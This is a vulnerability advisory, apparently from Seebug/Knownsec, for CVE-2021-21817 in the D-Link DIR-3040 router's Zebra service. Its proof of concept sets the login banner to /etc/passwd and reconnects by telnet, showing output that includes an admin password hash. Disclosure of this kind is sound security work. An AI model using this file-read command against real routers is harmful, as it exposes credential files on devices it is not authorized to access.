D-LINK DIR-3040 Zebra IP 路由管理器信息泄露漏洞(CVE-2021-21817)

2021-07-22T00:00:00
ID SSV:99312
Type seebug
Reporter Knownsec
Modified 2021-07-22T00:00:00

Description

The DIR-3040 is an AC3000-based wireless internet router.

Zebra is an IP routing manager that provides kernel routing table updates, interface lookups, and redistribution of routes between different routing protocols.

The DIR-3040 runs this service by default on TCP port 2601 and can be accessed by anyone on the network. This service also uses a configuration file containing a hard-coded password that is discussed in TALOS-2021-1283.

However, another feature provided by the Zebra service is to change the login banner “Message of the Day” contents based on an arbitrary file on disk:

Router# configure terminal Router(config)# access-list Add an access list entry banner Set banner string debug Debugging functions (see also 'undebug') default Configure defaults of settings enable Modify enable password parameters end End current mode and change to enable mode. exit Exit current mode and down to previous mode fpm fpm connection remote ip and port help Description of the interactive help system hostname Set system's network name interface Select an interface to configure ip IP information ipv6 IPv6 information line Configure a terminal line list Print command list log Logging control no Negate a command or set its defaults password Assign the terminal connection password quit Exit current mode and down to previous mode route-map Create route-map or enter route-map command mode router-id Manually set the router-id service Set up miscellaneous service show Show running system information table Configure target kernel routing table vrf Enable a VRF write Write running configuration to memory, network, or terminal Router(config)# banner motd default Default string file Banner from a file Router(config)# banner motd file [FILE] Filename <cr>

A client can set this file to something sensitive such as /etc/passwd to read its contents.

Exploit Proof of Concept

``` Router(config)# banner motd file /etc/passwd Router(config)# exit Router# exit Connection closed by foreign host. $ telnet 192.168.100.1 2601 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. admin:$1$aCkh/7OI$Z6d8WJ4iEIMKopn4HUptg.:0:0:Adminstrator:/:/bin/sh nobody:x:1:500:Linux User,,,:/home/nobody:/bin/sh root:x:2:600:Linux User,,,:/home/root:/bin/sh

User Access Verification

Password: ```